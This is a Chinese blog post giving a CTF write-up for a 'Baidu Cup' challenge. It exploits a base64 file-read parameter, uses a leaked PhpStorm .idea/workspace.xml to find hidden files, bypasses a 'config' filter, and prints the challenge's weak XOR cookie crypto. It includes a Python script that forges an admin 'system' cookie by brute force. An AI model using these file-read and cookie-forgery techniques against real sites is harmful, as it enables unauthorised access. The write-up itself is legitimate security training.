“百度杯”CTF比赛 九月场_Code(PhpStorm)

题目在i春秋ctf大本营

打开链接是一张图片,审查元素发现关键词base64,图片的内容都以base64加密后的形式呈现,查看url形式,应该是一个文件读取的漏洞

这里我们可以采用url/index.php?jpg=index.php来获取index.php的源代码经base64加密后的代码

base64解密后得到如下源码:

<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";

/*
 * Can you find the flag file?
 *
 */

?>

这里对jpg传入的file进行一些操作,现将除了数字字母以外的字符删除,接着将config替换成_,接着将file内容进行base64加密

这里的关键是注释中的“Created by PhpStorm”,因为phpstorm写的会有一个 .idea 文件夹,里面存储了一些配置文件

访问url/.idea/workspace.xml,可以看到与index.php同一文件夹下的还有config.php,fl3g_ichuqiu.php

由于上面的代码给出了过滤条件,说明我们这里不能读到config.php,但可以读取fl3g_ichuqiu.php,根据上述代码,_要用config代替

访问url/index.php?jpg=fl3gconfigichuqiu.php,得到源码:

<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') { //定义random函数,传入数字参数,返回相应位数的随机字符串
    $hash = '';
    $max = strlen($chars) - 1;
    for($i = 0; $i < $length; $i++)    {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}

function encrypt($txt,$key){                                            //定义加密函数,先将传入的txt中的每个字符转ASCII码+10再转为字符串
    for($i=0;$i<strlen($txt);$i++){                                     //将四位随机字符+传入的key并对其进行md5加密生成新的key
        $tmp .= chr(ord($txt[$i])+10);                                  //将txt进行异或加密,结果返回base64编码过的ran+ttmp  
    }
    $txt = $tmp;
    $rnd=random(4);
    $key=md5($rnd.$key);
    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $ttmp .= $txt[$i] ^ $key[++$s];
    }
    return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){                                            
    $txt=base64_decode($txt);
    $rnd = substr($txt,0,4);
    $txt = substr($txt,4);
    $key=md5($rnd.$key);

    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $tmp .= $txt[$i]^$key[++$s];
    }
    for($i=0;$i<strlen($tmp);$i++){
        $tmp1 .= chr(ord($tmp[$i])-10);
    }
    return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
    echo $flag;
}else{
    setcookie('user',encrypt('guest',$key));
    echo "╮(╯▽╰)╭";
}
?>

 这里的当务之急是要拿到输入的key的值,根据代码的最后一段:当cookie中user的值解密后不为system时,会给我们guest加密后的值,这就提醒我们key的前五位可以通过guest得知

给一下大佬的wp

# coding=utf-8

import base64
import requests

text = 'guest'
crypt = 'YldhV0lHV09O'

crypt = base64.b64decode(crypt)
rnd = crypt[0:4]
crypt = crypt[4:]

text1 = ''
for i in text:
    text1 += chr(ord(i) + 10)

key = ''
for (i, j) in zip(text1, crypt):
    key += chr(ord(i) ^ ord(j))

text = 'system'
text1 = ''
for i in text:
    text1 += chr(ord(i) +10)

cookies = []

for i in '0123456789abcdef':
    key1 = key + i
    tmp = ''
    for (j, k) in zip(text1, key1):
        tmp += chr(ord(j) ^ ord(k))
    cookies.append(base64.b64encode(rnd + tmp))

#r = requests.session()

for i in cookies:
    cookie = {'user':i}
    r = requests.session()
    result = r.get('http://2ec98f1fcd174a7c941546f366c1e55cc6935c1e07604c71.game.ichunqiu.com/fl3g_ichuqiu.php', cookies=cookie)
    print result.text

 

posted @ 2018-04-13 16:01  Ragd0ll  阅读(1442)  评论(0编辑  收藏  举报